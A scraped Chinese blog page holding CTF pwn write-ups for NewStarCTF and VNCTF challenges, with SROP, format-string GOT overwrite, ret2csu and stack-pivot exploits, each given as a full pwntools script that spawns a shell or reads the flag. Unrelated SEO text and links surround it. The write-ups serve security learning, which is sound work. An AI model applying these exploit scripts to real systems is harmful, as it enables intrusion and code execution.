当前位置: 首页 > news >正文

优秀网站建设评选活动海报域名续费价格

优秀网站建设评选活动海报,域名续费价格,网站建设有哪些项目,17网站一起做网店杭州目录 srop源码分析exp putsorsys源码分析exp ret2csu_1源码分析exp traveler源码分析exp srop 题源#xff1a;[NewStarCTF 2023 公开赛道]srop 考点#xff1a;SROP 栈迁移 源码 首先从bss段利用 syscall 调用 write 读出数据信息#xff0c;然后调用 syscall-read向栈中… 目录 srop源码分析exp putsorsys源码分析exp ret2csu_1源码分析exp traveler源码分析exp srop 题源[NewStarCTF 2023 公开赛道]srop 考点SROP 栈迁移 源码 首先从bss段利用 syscall 调用 write 读出数据信息然后调用 syscall-read向栈中rbp-0x30 位置读入数据最多0x300字节。 [Tips观察到调用 sys_read和sys_weite 时候eax都是0并且 rcx 被赋值为 size 部分。则猜测 rdi被当作 rax 使用rsirdxrcx 分别赋值三个参数。] 分析 利用栈溢出进行栈迁移将rbp寄存器转到bss段高地址。然后在返回地址处填写程序调用 syscall-read 处起始地址用于向rbp-0x30地址写入shell实现向bss地址读入数据二次输入。接着填充0x30垃圾数据覆盖到 rbprip地址利用syscall触发 sigreturn 。最后布置栈中寄存器的值调用execve/bin/sh00执行shell。 exp from pwn import * context(arch amd64,os linux,log_level debug) elf ELF(./pwn_1) #io remote(node5.buuoj.cn,27296) io process(./pwn_1) pop_rdi 0x401203lea 0x401171 # lea rax,[rbp-0x30] ! leave bss 0x404050 0x300 io.recvuntil(bwelcome to srop!\n) syscall elf.symbols[syscall]frame SigreturnFrame() # execve(/bin/sh,0,0) frame.rdi 59 # rax 0x3b frame.rsi bss - 0x30 # /bin/sh 填写地址为 rbp-0x30。 rdi frame.rdx 0 # rsi frame.rcx 0 # rdx frame.rsp bss 0x38 frame.rip syscall io.send(ba*0x30 p64(bss) p64(lea)) io.send(b/bin/sh\x00 ba*0x30 flat(pop_rdi,0xf,syscall) flat(frame))# shell buf srop syscall framme [rdirax] io.interactive()putsorsys 题源[NewStarCTF 2023 公开赛道]puts or system? 考点64位fmt got篡改 源码 存在格式化字符串漏洞并且注意到已经存在“/bin/sh”参数。 分析 程序存在多次格式化字符串漏洞。 Step1格式化字符串漏洞%s puts_got泄露puts函数真实地址利用附件 libc.so 获取 system 函数地址。 Step2注意到每一次输入后调用puts函数并且把 /bin/sh 作为参数可以再次利用格式化字符串漏洞 将 puts_got 篡改为 system 地址构造 system(/bin/sh) 获取shell。 exp #kali打不通...,Xubuntu会断半通 from pwn import * context(archamd64, oslinux, log_leveldebug)#p process(./putsorsys) p remote(node5.buuoj.cn,26885) elf ELF(./putsorsys) libc ELF(./libc.so.6)got_addr elf.got[puts] p.sendlineafter(b(0/1)\n,b1) payload b%9$sAAAA p64(got_addr) #AAAA对齐(448) %s泄露指针指向内存的数据 p.sendafter(bWhats it\n,payload) p.recvuntil(bThere is my gift:\n)puts_addr u64(p.recvuntil(b\x7f)[:6].ljust(8, b\x00)) print(hex(puts_addr))libc_base puts_addr - libc.sym[puts] sys_addr libc_base libc.sym[system] bin_sh libc_base next(libc.search(b/bin/sh\x00))p.sendlineafter(b(0/1)\n,b1)payload fmtstr_payload(8, {got_addr:sys_addr}) p.sendlineafter(bWhats it\n,payload) p.interactive()ret2csu_1 题源[NewStarCTF 2022 公开赛道]ret2csu1 考点ret2csu-basic execve函数使用 源码 分析 首先程序存在栈溢出可以覆盖返回地址。并且给出了后门函数但是直接转到后门函数并没有任何作用注意到 0x400648 地址调用了 syscall-execve 可以利用 __libc_csu_init 函数中的gadget进行劫持。 先布置gadget并分配好寄存器参数然后劫持函数执行 execve(/bin/cat/bin/cat/flag0) 即可获取flag。查看__libc_csu_init 的汇编代码得到结论 r13dr14r15寄存器的值分别可以被复制到x86-64位程序前三个寄存器 edirsirdx中可以构造 execve函数的三个参数。 (虽然r13只有后八字节复制给了edi但是经过调试发现rdi前八个字节是0因此等同于 mov r13rdi。) 同时注意到存在/bin/cat/flag字符串因此构造execve(/bin/cat/bin/cat/flag0) execve(const char *filename, char *const argv[], char *const envp[]); filename:包含准备载入当前进程空间的新程序的路径名。既可以是绝对路径又可以是相对路径。 argv[ ] :指定了传给新进程的命令行参数该数组对应于c语言main函数的argv参数数组格式也相同argv[0]对应命令名通常情况下该值与filename中的basename(就是绝对路径的最后一个)相同。 envp[ ]:最后一个参数envp指定了新程序的环境列表。参数envp对应于新程序的environ数组。 图中第二部分call指令将r12rbx*8 的结果作为地址来调用。 布置寄存器参数 rbx由于第二部分movcall下面存在addcmp指令。如果rbx1 ! rbp那么将会跳转因此将rbx赋值为0。rbp赋值为1即可避免跳转。 r12需要填充 数据为0x400648 的地址 来进行调用execve。发现 .data:0000000000601068 48 06 40 00 00 00 00 00 gift3 dq 400648h .data:0000000000601068 _data ends .data:0000000000601068 因此赋值为0x601068。 【Tip不能直接填0x400648类似于二级跳转。例如调用read函数时也需要填充read的got地址而不是plt地址】 r12r13r14分别赋值 0x4007BB0x6010500 exp from pwn import * context(os linux,arch amd64,log_level debug) elf ELF(./ret2csu-1) offset 0x28 io remote(node5.buuoj.cn,27959) #io process(./ret2csu-1) pop_6 0x40072a mov_3 0x400710p ba*offset p64(pop_6) p64(0)p64(1) p64(0x601068) p p64(0x4007BB) p64(0x601050) p64(0) p64(mov_3)# execve(/bin/cat,/bin/cat/flag,0) io.sendafter(b!\n,p) io.interactive()traveler 题源[VNCTF2023]Traveler 考点栈迁移抬栈 坑点bss段需要足够高地址才行。 源码 分析 思路1第一次栈溢出调用向栈中填充数据的read功能代码fake_rbp填充为bss段地址然后第二次利用已有的system构造shellnew-fake_rbp填充为bss-0x28地址再加上leave使得程序回调执行shell。注意leave后rsp地址为rbp8 思路2system函数的参数填充在第二次输入的bss段亦可触发。 exp from pwn import * context(os linux,arch amd64,log_level debug) io remote(node5.buuoj.cn,29868) #io process(./traveler) offset 0x20 elf ELF(./traveler) puts_plt elf.plt[puts] puts_got elf.got[puts]main elf.sym[main]leave 0x401253 bss_1 0x404800 #本地打通的bss地址 bss_2 0x404d00 # 远程打通bss地址 pop_rdi 0x4012c3 ret 0x40101a read 0x401216 p1 ba*offset p64(bss_2) p64(read) io.sendafter(bu?\n,p1) io.sendafter(blife?\n,ba)system elf.sym[system] bin bss_2 - 0x8 p2 p64(pop_rdi) p64(bin) p64(system) b/bin/sh\x00 p64(bss_2-0x28) p64(leave) #思路1 io.send(p2) io.sendafter(blife?\n,ba) #思路2/bin/sh\x00io.interactive()
http://www.w-s-a.com/news/391091/

相关文章:

  • 做网站需要记哪些代码企业网站建设思路
  • 重庆自助建站模板网络服务器配置与管理
  • 外贸网站怎样做小程序买量平台
  • 中山精品网站建设机构海外留学网站建设方案
  • 长春网站建设工作如何取消wordpress页脚
  • 忻府网站建设排名网络管理系统官网
  • 张家港外贸网站建设国医堂网站平台建设
  • 水冶那里有做网站的对于网站链接优化有哪些建议
  • 宝安中心地铁站是几号线化妆品网站做的好的
  • 海宁营销型网站设计企业融资是什么意思
  • 淘宝客做网站要钱吗网站开发试题库
  • 10g空间网站做视频网站网站建设找超速云
  • 一元购网站怎么做企业网站源码cms
  • 域名不变 网站改版临沂企业网站建站模板
  • 天河网站建设信科网络外包公司和公司直招哪个好
  • 网站制作哈尔滨聊天系统源码
  • 网站建设朋友圈素材青白江建设网站
  • 红酒网站设计软件设计文档
  • 如何创建网站目录网站申请支付宝接口
  • 网站做区块链然后往里面投钱品牌设计公司收费标准
  • 2022互联网+创新创业项目呼和浩特企业网站排名优化
  • 电子商务类网站建设山西自助建站系统怎么用
  • odoo做网站网站设置专栏有什么好处
  • 局域网内个人网站建设查询企业的网站有哪些
  • 网站建设属于技术开发吗网页制作团队
  • 做家常菜的网站哪个好哪个网站做图片外链
  • 眼科医院网站设计怎么做6深圳宝安是什么风险等级
  • 网站制作容易吗logo免费生成网站
  • 建设厅官方网站下载专区网络托管公司
  • 祥云平台官方网站网线制作实验原理